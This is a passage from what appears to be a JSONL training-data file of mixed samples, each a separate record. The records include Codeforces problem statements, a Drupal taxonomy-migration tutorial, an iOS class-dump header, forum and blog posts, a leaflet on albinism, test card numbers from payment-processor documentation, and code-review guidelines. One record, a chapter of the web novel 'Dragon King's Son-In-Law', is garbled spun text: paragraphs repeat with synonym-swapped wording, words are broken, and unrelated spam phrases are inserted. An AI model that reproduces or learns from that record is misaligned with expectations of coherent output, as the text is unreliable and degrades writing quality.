better than the median when there are outliers.\nYou can estimate the median and the mean.\nThe median is 9 and the mode is 18 and the mean is 11\nthe median and mode are but the mean is not\nwhat does compute mean? Maybe if you paid attention in school youd know C:\nCompute = calculate; perimeter = measurement of the outside edge.\nmedian is the middle number mean is average mode is most median is middle range is high - low\nit Means To Calculate Explain If I Say Compute 3.52 X 14 It mean to calculate get it i hope you do\nmedian = 8 mean = 7 mean < median.\nThe mean and the median are both involved with a set of numbers. The mean refers to the average of the numbers. The median refers to the middle number of the numbers\nThe median is the middle number\nIt means to calculate.\nMedian( number1, number2, ... number_n )You may enter up to 30 values", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 619, "token_count_with_eod": 620, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Once upon a time there was only one router in the well-known company Bmail. Years went by and over time new routers were purchased. Every time they bought a new router, they connected it to one of the routers bought before it. You are given the values $$$p_i$$$ — the index of the router to which the $$$i$$$-th router was connected after being purchased ($$$p_i < i$$$).\n\nThere are $$$n$$$ routers in Boogle in total now. Print the sequence of routers on the path from the first to the $$$n$$$-th router.", "source": "cpt_codeforces", "language": "en", "token_count": 119, "token_count_with_eod": 120, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Ayoub thinks that he is a very smart person, so he created a function $$$f(s)$$$, where $$$s$$$ is a binary string (a string which contains only symbols \"0\" and \"1\"). The function $$$f(s)$$$ is equal to the number of substrings in the string $$$s$$$ that contains at least one symbol, that is equal to \"1\".\n\nMore formally, $$$f(s)$$$ is equal to the number of pairs of integers $$$(l, r)$$$, such that $$$1 \\leq l \\leq r \\leq |s|$$$ (where $$$|s|$$$ is equal to the length of string $$$s$$$), such that at least one of the symbols $$$s_l, s_{l+1}, \\ldots, s_r$$$ is equal to \"1\".\n\nFor example, if $$$s = $$$\"01010\" then $$$f(s) = 12$$$, because there are $$$12$$$ such pairs $$$(l, r)$$$: $$$(1, 2), (1, 3), (1, 4), (1, 5), (2, 2), (2, 3), (2, 4), (2, 5), (3, 4), (3, 5), (4, 4), (4, 5)$$$.\n\nAyoub also thinks that he is smarter than Mahmoud so he gave him two integers $$$n$$$ and $$$m$$$ and asked him this problem. For all binary strings $$$s$$$ of length $$$n$$$ which contains exactly $$$m$$$ symbols equal to \"1\", find the maximum value of $$$f(s)$$$.\n\nMahmoud couldn't solve the problem so he asked you for help. Can you help him?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "ALBINO – FACT AND FICTION\nBeing an albino is not easy. In many places people who are albino are brutally murdered because people think they are evil or that their body parts can be used for magic. Being albino is not magic and it is not evil. Being albino is completely normal and natural.\nWHAT IS ALBINISM?\nAll people get their skin colour from a protein called melanin. People with very dark skin produce a lot, people with very light skin produce less. Melanin protects the skin from the sun, which is why people with pale skin get sunburnt. People who are albino have slightly different genetic material. Because of this, they don’t make melanin, and their skin, hair and eyes do not have colour.\nDIFFERENCE IS NORMAL\nBeing different does not mean something has gone wrong. Having a lot of difference is good for people. It means that our genetic material is strong. Blue eyes, brown eyes, curly hair, straight hair, tall, short. All of these differences we see between people are normal, and so is being an albino.\nBEING ALBINO IS NOT A DISEASE\nBeing albino does not mean you have a disease. A disease is something you catch that makes you sick. People who are albino are simply born with slightly different genetic material. People are born albino when their mother and father together pass on the genetic material that means they do not make melanin. The mother and father can have coloured skin and still pass on the genetic material.\nBecause they do not have any sun protection from melanin people who are albino need to be very careful in the sun. They can easily get burnt and some can develop skin cancer because of getting burnt too often. They may also need to wear glasses. You cannot ‘catch’ albinism from someone who is albino.\nPEOPLE WHO ARE ALBINO DO NOT HAVE SPECIAL POWERS\nThere have been many people who are albinos killed because it is thought their body parts have magic powers. Being albino means your body does not produce melanin. This is simply because their genetic material is slightly different to other people who do produce melanin. This does not make them magic.\nPEOPLE WHO ARE ALBINO ARE JUST LIKE EVERYONE ELSE\nHaving the genetic material that causes someone to be an albino changes the colour of the skin, but everything else is the same. People who are albino are normal people. They can go to school, work in normal jobs and live normal lives. They can also get married and have children. If the person they marry is not an albino they may have children who are not albino. People who are albino are just like everyone else, and like everyone else they have a right to live happy lives.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 580, "token_count_with_eod": 581, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Novel–Dragon King’s Son-In-Law–Dragon King’s Son-In-Law\nChapter 752 – No-Liability Agreement! interrupt rule\nZhao Yanzi’s Crimson Natural Value Sword was really quick, and she swept up with Hao Ren rapidly.\nShe leaped lightly on top of the program while the longsword slid into her fretting hand that has a mobility unnoticeable to those around her.\nYue Zilong investigated him in astonishment, not anticipating that he would fully stand up. One other eight Deputy Shrine Masters were definitely also surprised.\nThe Palace Expert went on the window and checked down within the massive unfilled sq beneath the Dragon G.o.d Shrine. After a few just a few seconds of silence, he was quoted saying softly, “During this challenge, no matter whether Su Han victories or will lose, life or passes away, none people can interfere.”\nIf Zhao Kuo couldn’t advance for the Heavenly Dragon Realm, he wouldn’t manage to satisfy his offer to his father and carry his father’s soul to your Dragon Burial place within the Heavenly World.\nstrictly for cash\nNext to the younger cultivators who came with Hao Ren, some cultivators beyond the Eastern side Seas Dragon Clan got come. These people were mainly mature cultivators of other limbs during the East Sea Spot, such as Elder s.h.i.+ of Natural green Material Hill and also other dragon kings or seniors coming from the river and lake dragon palaces.\nThe Lu sisters and Xie Yujia collected all around Hao Ren as well.\nZhao Kuo had gotten to top Qian-degree all over again. If he conquered Su Han, he would definitely enhance in the Incredible Dragon Kingdom. The elderly generals of East Water Dragon Clan were actually all enthusiastic and wished to view the conflict.\nnow it can be told wikipedia\nThese Substance Replenishment Supplements had been all amount 4 drugs. The fresh cultivators who acquired issues breathing swallowed the tablets promptly and noticed superior.\nZhao Kuo and Su Han caught the 2 bits of silk cloths and distributed them from the fresh air. Then, they trim start their convenience making use of their nails and pushed their reddish fingerprints in the towels.\nComing from the campus of Eastern side Beach School, the youthful dragon cultivators as well as noble princes of dragon palaces flew up 1 immediately after one other, subsequent Hao Ren toward the Dragon G.o.d Shrine.\nThe youthful cultivators returning with Hao Ren were dragon cultivators in Eastern Sea Area, and many of them were definitely ecstatic because it was their very first time joining the Dragon G.o.d Shrine.\nHe changed his system little by little and revealed his deal with. The deeply-voiced Palace Become an expert in was actually a handsome mankind.\nQin Shaoyang who obtained just been elevated to your amount 4 inspector didn’t recover his realm however, in which he retreated about four techniques abruptly and steadied his entire body against the material retaining wall of your Dragon G.o.d Shrine.\n“This mankind is incredible given that they have re-cultivated to optimum Qian-degree. I’m afraid that not one people is his fit,” the Palace Learn said.\nThis challenge was between Zhao Kuo and Su Han. While using Dragon G.o.d Shrine helping Su Han and the Eastern side Sea Dragon Clan supporting Zhao Kuo, it was to some degree a compet.i.tion involving the Eastern Seashore Dragon Clan plus the Dragon G.o.d Shrine.\nEasily, a workforce of countless cultivators gathered behind Hao Ren.\nWhen Zhen Congming tried to get away from before, the Palace Expert taken out a dark colored lighting out of the Dragon G.o.d Shrine and captured Zhen Congming with no trouble.\nHua… A copy with the no-legal responsibility agreement with Zhao Kuo and Su Han’s fingerprints upon it flew toward Zhao Guang.\nThe low-leveled inspectors lifted their hands to block this profile published from Zhao Kuo in a big hurry.\nIf Zhao Kuo couldn’t move forward to the Incredible Dragon Kingdom, he wouldn’t be able to satisfy his promise to his daddy and bring his father’s soul towards the Dragon Tomb from the Heavenly Realm.\nThese days, instead of relaxing there going through the wall structure, he possessed stood up and found his deal with.\nQin Shaoyang who experienced just been endorsed with a level 4 inspector didn’t restore his world however, and this man retreated four steps abruptly and steadied his body resistant to the stone walls with the Dragon G.o.d Shrine.\nBeside the youthful cultivators who was included with Hao Ren, some cultivators outside the Eastern Seashore Dragon Clan experienced are available. People were mainly older person cultivators of other branches from the East Sea Area, as well as Elder s.h.i.+ of Natural green Stone Hill and also other dragon kings or senior citizens from your river and lake dragon palaces.\nEveryone wanted to see the consequence of this exceptional fight between two peak Qian-degree cultivators.\nThese Substance Replenishment Products were all amount 4 capsules. The little cultivators who experienced issues respiration swallowed the supplements quickly and observed significantly better.\nThe nine Deputy Shrine Experts continued to be quiet.\nZhao Kuo and Su Han grabbed both the items of silk linen and spread them from the air flow. Then, they lower available their hands with the fingernails and pushed their reddish colored fingerprints to the linen.\nDonning a multi-colored conventional attire, Su Han dashed on the foundation throughout the opening up on the range growth on her longsword.\nRight now, rather than resting there going through the wall structure, he experienced endured up and proven his facial area.\n“Third Lord! 3 rd Lord!” the many generals from East Seashore all shouted in exhilaration once they found Zhao Kuo.\nNext to the younger cultivators who came with Hao Ren, some cultivators away from the East Seas Dragon Clan got come. These people were mainly older cultivators of other limbs during the East Sea Vicinity, such as Elder s.h.i.+ of Eco-friendly Rock Mountain and various other dragon kings or seniors from the river and lake dragon palaces.\nSince that time they came into the Dragon G.o.d Shrine and had taken their specific obligations, none obtained experienced the Palace Master’s experience or his sturdiness, nonetheless they considered that his strength was definitely bigger than their own!\nthe golden house genshin\n“Em…” From the opened home, the Palace Learn who had been experiencing the retaining wall endured up little by little.\nThis struggle was between Zhao Kuo and Su Han. With the Dragon G.o.d Shrine assisting Su Han and also the East Seashore Dragon Clan encouraging Zhao Kuo, it had been to some extent a compet.i.tion relating to the East Seas Dragon Clan plus the Dragon G.o.d Shrine.\nZhao Kuo got reached peak Qian-stage again. If he conquered Su Han, he could possibly advance in to the Divine Dragon World. The mature generals of Eastern Ocean Dragon Clan were all fired up and needed to check out the struggle.\nIf Zhao Kuo couldn’t enhance on the Perfect Dragon World, he wouldn’t be capable of satisfy his assure to his daddy and bring his father’s soul to the Dragon Tomb during the Divine Kingdom.\nThese generals possessed invested many years instruction members of the military and struggling fights they had recognized realms through brutal combats, as well as the most competitive world and this includes was Dui-amount!\nFabulousnovel fiction – Chapter 752 – No-Liability Agreement! sheet retire reading-p3\nNovel–Dragon King’s Son-In-Law–Dragon King’s Son-In-Law", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1590, "token_count_with_eod": 1591, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I've been terribly ill today. While this made me miss out on most of the fantastic food, it did not stop me from going to work (even though my boss tried to get me to go home again, since I was deathly pale), and it certainly didn't stop me from making a case for my new Kobo!!!!\nIt is, however, stopping me from really talking about it or uploading pictures. I've been heaving and convulsing since five this morning, and... well... I should recover.\nHopefully I'll get to it tomorrow, because as of tomorrow afternoon I'll be far too busy and without internet.\nOn the other hand, I should spend tomorrow trying to figure out my new Magellan GPS thingy!!! I'm really excited to have it, but I am NOT excited to set it up. Turns out I love gadgets. To a point.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Map projections and methods for measuring road distances\nOur transportation modelers want to make sure that the road network shapefile they use has the most accurate distances possible. They are concerned about potential distortion in our usual coordinate system (GCS_North_American_1983) and the inability to use the \"Calculate Geometry\" function on a geographic coordinate system. Right now the typical procedure is to set the data frame properties to a projected coordinate system (NAD 1983 UTM Zone 15N) and then run the distance calculation using the projected coordinate system. We have no idea how much error we are introducing. Does the \"Calcutate Geometry\" function compensate for the varying amounts of distortion across an extent? Or is the difference in distortion negligible at the extent we are working with? Is there a better method to get accurate road segment lengths? Should we be using a different projection, such as an equidistant one?\nOur region comprised of eight counties roughly centered on St. Louis, Missouri, with an extent bounded by: Top 39.000000 dd; Right -89.595230 dd; Bottom 38.003499 dd; Left -91.369228 dd.\nMapping Center Answer:\nOf course the amount of error you are introducing depends on a number of factors, including 1) how much area you are mapping, 2) the location of you are mapping relative to the map projection's parameters (e.g., central meridian, standard parallels), and 3) how much error is \"too much\".\nIn general, large scale maps are those that can be used to make accurate measurements; these would be at a scale of 1:250,000 or larger (4\" or fewer to the mile). On a large scale map, the change in scale across the surface of the map is negligible, so you can trust the map to be an accurate representation of the small piece of earth that it covers.\nA UTM zone is designed to be no worse than 1 part in 2500, and we note that you are crossing outside the zone (-90 is the right edge of zone 15).\nThere is also some error creeping in because the spheroid (ellipsoid) surface of the datum is not at average elevation. Some places have published county-level coordinate system that take average elevation into account.\nKeep in mind that other factors can also affect the map accuracy, including error in the data themselves, error in the tracing method used to describe a route, and even user error. Chapter 2 in Map Use: Reading and Analysis, Sixth Edition describes issues related to map scale and Chapter 10 discusses Map Accuracy. You might find reading these chapters helpful.\nIf you would like to post a comment, please login.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 597, "token_count_with_eod": 598, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Contact Support Team to enable the\nincludeEnhancedSchemeDataLevel setting in the .\nSubmit an /payments request with one of the following card numbers. The card numbers correspond to a type of response:\n|Test card number||Response|\n|4444 3333 2222 1111||VGIS|\n|5555 5555 5555 4444||L2|\n|2222 4107 4036 0010||L3|\nIf you receive one of the above responses, you have successfully set up your account to handle Level 2 or Level 3 data.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Large amount of negativity? There were like two people saying they don't like the UI of GitHub. Other big discussion was about data protection rules, but None really said they wouldn't use the GitHub discussion.\nMore people were in favour of the move then against, especially the first few reactions\n© Espruino, powered by microcosm.\nReport a problem", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 75, "token_count_with_eod": 76, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//     Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20).\n//\n//  Copyright (C) 1997-2019 Steve Nygard.\n//\n\n#import \"SQLiteEntity.h\"\n\n@interface NotificationService : SQLiteEntity\n{\n}\n\n+ (id)_propertySettersForPaymentTransaction;\t// IMP=0x0000000100097b00\n+ (id)_predicateForNotificationServicePID:(id)arg1;\t// IMP=0x0000000100097ae0\n+ (id)_predicateForNoRegistrationURL;\t// IMP=0x0000000100097ac4\n+ (id)_predicateForRegistrationURL:(id)arg1;\t// IMP=0x0000000100097a5c\n+ (id)_predicateForServiceURL:(id)arg1;\t// IMP=0x00000001000979f4\n+ (id)_predicateForServiceType:(unsigned long long)arg1;\t// IMP=0x0000000100097980\n+ (id)_predicateForPushTopic:(id)arg1;\t// IMP=0x0000000100097960\n+ (id)_notificationServicesInDatabase:(id)arg1 matchingPredicate:(id)arg2;\t// IMP=0x0000000100097750\n+ (id)notificationServicesInDatabase:(id)arg1 withPushTopic:(id)arg2 serviceType:(unsigned long long)arg3 serviceURL:(id)arg4 registrationURL:(id)arg5;\t// IMP=0x0000000100097088\n+ (id)notificationServicesInDatabase:(id)arg1 withPushTopic:(id)arg2;\t// IMP=0x0000000100096ffc\n+ (id)notificationServicesInDatabase:(id)arg1;\t// IMP=0x0000000100096fec\n+ (id)anyInDatabase:(id)arg1 withPushTopic:(id)arg2 serviceType:(unsigned long long)arg3 serviceURL:(id)arg4 registrationURL:(id)arg5;\t// IMP=0x0000000100096dec\n+ (id)anyInDatabase:(id)arg1 withServiceURL:(id)arg2 registrationURL:(id)arg3;\t// IMP=0x0000000100096c80\n+ (id)anyInDatabase:(id)arg1 withPushTopic:(id)arg2;\t// IMP=0x0000000100096bf4\n+ (id)insertNotificationServiceWithPushTopic:(id)arg1 serviceType:(unsigned long long)arg2 serviceURL:(id)arg3 registrationURL:(id)arg4 deviceIdentifier:(id)arg5 inDatabase:(id)arg6;\t// IMP=0x0000000100096b14\n+ (id)associationPropertyForEntityClass:(Class)arg1;\t// IMP=0x0000000100096adc\n+ (id)databaseTable;\t// IMP=0x0000000100096ad0\n- (void)updateWithNotificationService:(id)arg1;\t// IMP=0x0000000100097560\n- (void)updateWithLastUpdatedTag:(id)arg1;\t// IMP=0x000000010009748c\n- (void)updateWithLastUpdatedDate:(id)arg1;\t// IMP=0x00000001000973fc\n- (void)updateWithAppLaunchToken:(id)arg1;\t// IMP=0x00000001000973e8\n- (void)updateWithAuthenticationToken:(id)arg1;\t// IMP=0x00000001000973d4\n- (void)updateWithPushToken:(id)arg1;\t// IMP=0x00000001000973c0\n- (id)notificationService;\t// IMP=0x0000000100097288\n- (id)initWithPushTopic:(id)arg1 serviceType:(unsigned long long)arg2 serviceURL:(id)arg3 registrationURL:(id)arg4 deviceIdentifier:(id)arg5 inDatabase:(id)arg6;\t// IMP=0x0000000100096914\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 1120, "token_count_with_eod": 1121, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Vasya decided to go to the grocery store. He found in his wallet $$$a$$$ coins of $$$1$$$ burle and $$$b$$$ coins of $$$2$$$ burles. He does not yet know the total cost of all goods, so help him find out $$$s$$$ ($$$s > 0$$$): the minimum positive integer amount of money he cannot pay without change or pay at all using only his coins.\n\nFor example, if $$$a=1$$$ and $$$b=1$$$ (he has one $$$1$$$-burle coin and one $$$2$$$-burle coin), then:\n\n- he can pay $$$1$$$ burle without change, paying with one $$$1$$$-burle coin,\n- he can pay $$$2$$$ burle without change, paying with one $$$2$$$-burle coin,\n- he can pay $$$3$$$ burle without change by paying with one $$$1$$$-burle coin and one $$$2$$$-burle coin,\n- he cannot pay $$$4$$$ burle without change (moreover, he cannot pay this amount at all).\n\nSo for $$$a=1$$$ and $$$b=1$$$ the answer is $$$s=4$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "During the \"Russian Code Cup\" programming competition, the testing system stores all sent solutions for each participant. We know that many participants use random numbers in their programs and are often sent several solutions with the same source code to check.\n\nEach participant is identified by some unique positive integer k, and each sent solution A is characterized by two numbers: x — the number of different solutions that are sent before the first solution identical to A, and k — the number of the participant, who is the author of the solution. Consequently, all identical solutions have the same x.\n\nIt is known that the data in the testing system are stored in the chronological order, that is, if the testing system has a solution with number x (x > 0) of the participant with number k, then the testing system has a solution with number x - 1 of the same participant stored somewhere before.\n\nDuring the competition the checking system crashed, but then the data of the submissions of all participants have been restored. Now the jury wants to verify that the recovered data is in chronological order. Help the jury to do so.", "source": "cpt_codeforces", "language": "en", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Matthew is given two strings $$$a$$$ and $$$b$$$, both of length $$$3$$$. He thinks it's particularly funny to create two new words by swapping the first character of $$$a$$$ with the first character of $$$b$$$. He wants you to output $$$a$$$ and $$$b$$$ after the swap.\n\nNote that the new words may not necessarily be different.", "source": "cpt_codeforces", "language": "en", "token_count": 77, "token_count_with_eod": 78, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Encodes data by converting binary data to string data using Multipurpose Internet Mail Extensions (MIME) encoding. Encode data when you want to store data in a database or file that does not allow binary data. You can also encode data to pass binary data through transformations in string format. The encoded data is approximately 33% longer than the original data. It displays as a set of random characters.\nThe following table describes the argument for this command:\nBinary or String datatype. Data that you want to encode.\nNULL if the input is a null value.\nYou want to read messages from WebSphere MQ and write the data to a flat file target. You want to include the WebSphere MQ message ID as part of the target data. However, the MsgID field is Binary, and the flat file target does not support binary data. Use ENC_BASE64 to encode the MsgID before the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 184, "token_count_with_eod": 185, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In light of problems currently being experienced with our BIAcore (perfect detection on Fc2 no signal on Fc1) would it be possible to use a separate chip as a reference surface (i.e. 2 individual chips on Fc2 coupled with the Ligand, second chip Fc2 coupled with BSA or activated/deactivated NHS/EDC) for subtraction and non-specific binding along with double referencing (buffer injections)?\nReason for this is that it would probably take another month for a new IFC to arrive (we can host a world cup but we can't get deliveries within same week, don't ask I can't explain it either).\nThe point of a reference cell is that it is in line with your sample and thereby exposed to the same buffer, analyte and regeneration conditions. Even when using the same buffers etc. possibly there will be differences in experimental conditions so the reference will not be perfect when using an second chip.\nIt is it worth a try in your case, but make sure you validate your results. Keep as many variables the same.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 220, "token_count_with_eod": 221, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There is currently no clear concise way in DX NetOps Performance Management to determine which CPU goes with which \"VS\" or virtual context.\nThe CPU's are simply named with numerical strings. There is no identifiable information to help to determine which CPU core belongs to which VS.\nI have looked through the Checkpoint MIB's to see if I can locate an OID that would give us any identifiable information per CPU to no avail.\nSample item names causing confusion are showing up like this:\nIn a report for just these items how can we determine which Virtual Firewall context or VS it belongs to?\nAll supported DX NetOps Performance Management releases\nThis is due to limitations of the Check Point MIB OID data.\nThere is no MIB OID available that exposes a value allowing for reliable association between the CPU and the Virtual Firewall context or VS it is allocated to.\nMaking this more difficult, Check Point recommends the devices be configured where CPU allocation for the VS contexts is a dynamic operation, constantly changing in real-time as a given VS requires more resources than another.\nRequest the Check Point Vendor add a new MIB OID that exposes a method to associate a given CPU core to the VS context it is allocated to.\nOnce that is available, submit a new Certification Request Support case to the Support team. We'll have engineering update the Check Point certifications to create the CPU core to VS context associations.\nWhen submitting a Certification Request please ensure the information documented in the Requirements for Performance Management Certification Request Knowledge Base article are attached to the new Support case.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Rest of the photos. Thankfully I had the JPEGs on Google Drive before my main hard drive failed last night. Sadly I lost all my RAWs and whole lightroom library. Was in the process of getting a backup drive as well. Damn it. Going to try swapping the BIOS to a new board sometime next week and see if that works but I don’t have high hopes.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 77, "token_count_with_eod": 78, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I recently faced an issue where I was importing terms. All the terms are working fine, but the issue came when the language setting is selected as “localize” for the vocabulary.\nThe process which I followed was I installed migrate module, migrate upgrade, exported the config files. It created the config file for migrating taxonomy for all vocabulary and in addition to that:\nupgrade_d7_taxonomy_term_localized_translation and upgrade_d7_taxonomy_term_translation\nFirst, understand how localized terms are stored.\nIn this, “Volunteers in Action” has term id 487, and i18n_tsid as 21, for the french term, “Benevole en action”, in D7, it has a term id of 488, and i18n_tsid as 21.\nWhen we import taxonomy terms, what it will do is create an entry for both the terms 487 and 488, but there will not be linking as we have in Drupal 7.\nTo resolve this, what we can do is, we first have to block migration from importing those terms for which i18n_tsid != 0, to do this we will use hook_migrate_prepare_row. Suppose our vocab name is education, for which localize is enabled, for it we will write code as below.\nIn the above code, “upgrade_d7_taxonomy_term_education”, is the name of our config migration file, which we have created using the migrate_upgrade module, we are first getting a value of i18n_tsid, and checking if it is not equal to 0, then we are skipping the term or row.\nAfter that when we run the migration for “upgrade_d7_taxonomy_term_education”, it will import all taxonomy terms except those for which i18n_tsid is not equal to 0.\nNow for importing localize terms and their dependency, we will create a source plugin, which will get all terms for which i18n_tsid !=0 from all vocabulary.\nWe will create a folder under our module “src/Plugin/migrate/source/d7”. We will then create the file name “TermTranslationSet.php”.\nIn the above code (you can copy this code here if you need it), we are querying the db, to get all rows for which i18n_tsid != 0, above query will give us the output, like below:\nHere you can see that for each corresponding ttd2_tid, we have 2 rows of tid, which have different languages. So we will be importing ttd2_tid first row, and the second row will be created as the translation for the first row. Taking the first 2 rows as an example, we will be creating a term with tid 487 and we will add tid 488, as its translation in french.\nThe next step will be to create a custom migration config file for migrating the terms which we got from above.\nWe will create a migration config file with name migrate_plus.migration.upgrade_d7_taxonomy_term_translation_set.yml\nIn the above code, (you can copy this code here if you need it), you can see that we are creating a term with tid as ttd2_tid, which is the same for the row.\nWe will now run:\ndrush migrate-import upgrade_d7_taxonomy_term_translation_set\nThis will create our term and its translation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 715, "token_count_with_eod": 716, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hire the best 49 engineers with YouTeam\n- Last Update\nBlockchain developer with extensive experience in...\nSr. Java Engineer with +5 years of experience....\nSenior Python Developer\nAndroid software developer\nBlockchain expert developer & tech leader with extensive...\nSenior iOS Developer\nProficient C/C++, Go, Python, ML Expert with extensive...\nAndroid Engineer with more than 10 years of experience in...\nAndroid developer with more than 5 years of experience.\nC++/C# developer with extensive experience in development...\nNo-one really matches your needs?\nNormally we are able to pro-actively find any given talent within 72 hours.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "rescans all the installed paclets to rebuild the internal cache of paclet data.\nDetails and Options\n- PacletDataRebuild is only needed in cases where you have manually modified the contents of an installed paclet.\n- Paclet functions like PacletInstall, PacletUninstall and PacletDirectoryLoad automatically keep paclet cache information up to date.\n- Examples of when you need to call PacletDataRebuild are if you have hand-copied a paclet into $UserBasePacletsDirectory, or if you are developing a paclet in the current session and have changed its contents or its PacletInfo.wl file.\nBasic Examples (1)\nCall PacletDataRebuild to pick up the change:\nIntroduced in 2020", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 163, "token_count_with_eod": 164, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Creating pdf of webpage with active linksAuthor: Mandar Vaidya\nVisited 632, Followers 1, Shared 0\nSEASON's GREETINGS in advance to everybody.\nI want to create a PDF of this link :\nPlease let me know how can I do it?\nIs it possible in Wecsite X5 or FlexiPDF Professionalis useful for this porpose?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 84, "token_count_with_eod": 85, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are two strings s and t, consisting only of letters a and b. You can make the following operation several times: choose a prefix of s, a prefix of t and swap them. Prefixes can be empty, also a prefix can coincide with a whole string.\n\nYour task is to find a sequence of operations after which one of the strings consists only of a letters and the other consists only of b letters. The number of operations should be minimized.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given two arrays of integers $$$a_1,\\ldots,a_n$$$ and $$$b_1,\\ldots,b_m$$$.\n\nYour task is to find a non-empty array $$$c_1,\\ldots,c_k$$$ that is a subsequence of $$$a_1,\\ldots,a_n$$$, and also a subsequence of $$$b_1,\\ldots,b_m$$$. If there are multiple answers, find one of the smallest possible length. If there are still multiple of the smallest possible length, find any. If there are no such arrays, you should report about it.\n\nA sequence $$$a$$$ is a subsequence of a sequence $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by deletion of several (possibly, zero) elements. For example, $$$[3,1]$$$ is a subsequence of $$$[3,2,1]$$$ and $$$[4,3,1]$$$, but not a subsequence of $$$[1,3,3,7]$$$ and $$$[3,10,4]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 226, "token_count_with_eod": 227, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "So, we've tried fantasy leagues before on the gen mma forum. Smarty ran one that had us draft people from all divisions with a pick em every week. It didn't have enough interaction and died a slow death. I think I have one that might catch on and be a bit more popular. I'm proposing an all prospect league. You cannot select anyone ranked in the top 15. Fighters get points for wins and owners get bonuses if their guys make the top 15 (bigger bonuses the higher they go). I was thinking to add interaction, there could be a few transfer windows for the year (add/drop) and you can trade all year long. I'm working on a scoring system and rules (like how many people on a roster), but I wanted to see how many people I could get interested first. Let me know if you're down and I'll move this along so we can draft in early 2017.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 195, "token_count_with_eod": 196, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  AFBlipBaseNetworkStatics.h\n//  Blips\n//\n//  Created by Jeremy Fuellert on 2014-04-19.\n//  Copyright (c) 2014 AF-Apps. All rights reserved.\n//\n\n#pragma mark - Class forwards\n@class AFBlipBaseNetworkModel;\n\n#pragma mark - Network callback block typedefs\ntypedef void(^AFBlipBaseNetworkSuccess)(AFBlipBaseNetworkModel *networkCallback);\ntypedef void(^AFBlipBaseNetworkFailure)(NSError *error);\n\n#pragma mark - Network base URL\nFOUNDATION_EXPORT NSString *const kAFBlipBaseNetworkURL_Non_Amazon;\nFOUNDATION_EXPORT NSString *const kAFBlipBaseNetworkURL_Amazon;\nFOUNDATION_EXPORT NSString *const kAFBlipBaseNetworkURL_Local;", "source": "cpt_stack_code", "language": "code", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Code reviews on GitHub\nGiven enough eyeballs, all bugs are shallow\nIn order to increase the code quality within Nextcloud, developers are requested to perform code reviews. As we are now heavily using the GitHub platform these code reviews shall take place on GitHub as well.\nFrom now on no direct commits/pushes to master or any of the stable branches are allowed in general. Every code change - even one liners - have to be reviewed!\nHow will it work?\nA developer will submit their changes on GitHub via a pull request (PR). GitHub:help - using pull requests\nWithin the pull request the developer could already name other developers (using @GitHubusername) and ask them for review.\nUsing Labels section on the right side, they add “3 - To review” label if the patch is complete. If they have no permission to do that, other developers may add this Label in case PR author had indicated.\nOther developers (either named or at free will) have a look at the changes and are welcome to write comments within the comment field.\nIn case the reviewer is okay with the changes and thinks all their comments and suggestions have been taken into account a :+1 on the comment will signal a positive review.\nBefore a pull request will be merged into master or the corresponding branch at least 2 reviewers need to give :+1 score.\nOur continuous integration server will give an additional indicator for the quality of the pull request (the results can be accessed from the GitHub interface for that pull request).\nRead our documentation about Coding style & general guidelines for information on what a good pull request and good Nextcloud code looks like.\nThese are two examples that are considered to be good examples of how pull requests should be handled\nFeel free to drop a line on the forums.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 367, "token_count_with_eod": 368, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
